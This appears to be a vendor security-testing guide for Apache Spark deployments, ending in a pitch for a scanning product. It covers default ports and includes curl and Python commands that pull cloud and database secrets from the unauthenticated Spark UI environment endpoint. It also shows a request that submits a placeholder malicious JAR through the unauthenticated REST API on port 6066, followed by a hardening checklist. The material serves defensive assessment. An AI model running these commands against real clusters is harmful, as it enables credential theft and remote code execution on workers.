Apache Spark Security Testing: History Server Credential Exposure, REST API RCE, and Unauthenticated UI

Apache Spark is the dominant distributed computing framework for big data processing. Its default deployment exposes multiple unauthenticated interfaces: the Spark Web UI on port 4040 (per running application) shows the full environment configuration including all spark.hadoop.* properties — these commonly include fs.s3a.access.key, fs.s3a.secret.key, and database JDBC credentials in plaintext; the Spark History Server on port 18080 stores logs for all completed jobs including SQL query plans that may contain data samples; Spark's standalone cluster mode exposes a REST API on port 6066 that accepts job submissions without authentication; Spark's shuffle service on port 7337 may serve shuffle data to any requesting executor, enabling cross-job data access; and Spark's dynamic allocation feature can create executor processes on worker nodes that run arbitrary Spark tasks submitted by an attacker with standalone master access. This guide covers systematic Spark security assessment.

Table of Contents

  1. Spark UI Discovery and Credential Extraction
  2. Spark History Server Data Exposure
  3. Standalone REST API Job Submission
  4. Spark Thrift Server SQL Injection
  5. JDBC Credential Exposure in Spark UI
  6. Spark Security Hardening

Spark UI Discovery and Credential Extraction

# Spark ports:
# 4040  — Application Web UI (per running Spark app)
# 4041+ — Subsequent apps (increments if 4040 is taken)
# 7077  — Standalone Master (Spark Submit)
# 8080  — Standalone Master Web UI
# 8081  — Standalone Worker Web UI
# 18080 — Spark History Server
# 6066  — Standalone REST API (job submission)

# Check if Spark UI is accessible (no auth required by default)
curl -s http://spark.example.com:4040/api/v1/applications 2>/dev/null | \
  python3 -c "
import json,sys
apps = json.load(sys.stdin)
print(f'Running applications: {len(apps)}')
for a in apps[:5]:
    print(f\"  {a.get('id','?')} {a.get('name','?')}\")
" 2>/dev/null

# Extract environment variables from running application (may contain cloud credentials)
APP_ID=$(curl -s http://spark.example.com:4040/api/v1/applications 2>/dev/null | \
  python3 -c "import json,sys; apps=json.load(sys.stdin); print(apps[0]['id'] if apps else '')" 2>/dev/null)

curl -s "http://spark.example.com:4040/api/v1/applications/${APP_ID}/environment" 2>/dev/null | \
  python3 -c "
import json,sys
env = json.load(sys.stdin)
# Check Spark properties for credentials
spark_props = env.get('sparkProperties', [])
for k, v in spark_props:
    if any(x in k.lower() for x in ['key', 'secret', 'password', 'token', 'credential']):
        print(f'  {k} = {v}')
# Check system properties and environment variables
sys_props = env.get('systemProperties', [])
for k, v in sys_props:
    if any(x in k.upper() for x in ['AWS', 'SECRET', 'KEY', 'TOKEN', 'PASSWORD']):
        print(f'  ENV {k} = {v}')
" 2>/dev/null | head -20

Standalone REST API Job Submission

# Spark standalone REST API on port 6066 accepts job submissions without auth

# Check if standalone REST API is accessible
curl -s http://spark.example.com:6066/v1/submissions/status/driverID 2>/dev/null | \
  python3 -m json.tool | head -5

# Submit a job via the REST API (executes on Spark workers as the spark OS user)
curl -s -X POST http://spark.example.com:6066/v1/submissions/create \
  -H "Content-Type: application/json" \
  -d '{
    "appResource": "file:///path/to/malicious.jar",
    "sparkProperties": {
      "spark.master": "spark://spark.example.com:7077",
      "spark.app.name": "test",
      "spark.jars": "file:///path/to/malicious.jar",
      "spark.driver.supervise": "false"
    },
    "clientSparkVersion": "3.x.x",
    "mainClass": "com.malicious.Main",
    "environmentVariables": {},
    "action": "CreateSubmissionRequest",
    "appArgs": []
  }' 2>/dev/null | python3 -m json.tool | head -5

Spark Security Hardening

Apache Spark Security Hardening Checklist:
Security TestMethodRisk
Web UI exposes cloud credentials in environmentGET /api/v1/applications/{id}/environment — sparkProperties show fs.s3a.secret.key etc.Critical
Standalone REST API unauthenticated job submissionPOST :6066/v1/submissions/create — submits JAR job executed on Spark workersCritical
History Server stores job logs with data samplesBrowse :18080 — SQL query plans contain sample values from processed datasetsHigh
JDBC connection strings in spark.propertiesWeb UI /environment — jdbc:postgresql://host/db?user=admin&password=secret visibleHigh
Shuffle service accessible without authConnect to :7337 — may serve shuffle blocks from other tenants' jobsMedium
Worker UI exposes job details without authBrowse :8081 per worker — lists all completed tasks and their configurationMedium

Automate Apache Spark Security Testing

Ironimo tests Apache Spark deployments for Web UI credential exposure including cloud access keys and JDBC passwords in spark properties, standalone REST API accepting unauthenticated job submissions for code execution on workers, Spark History Server storing job logs with sensitive query plans and data samples, JDBC connection strings visible in the application environment page, shuffle service accessible without authentication in multi-tenant clusters, and worker Web UI exposing task configuration without access controls.

Start free scan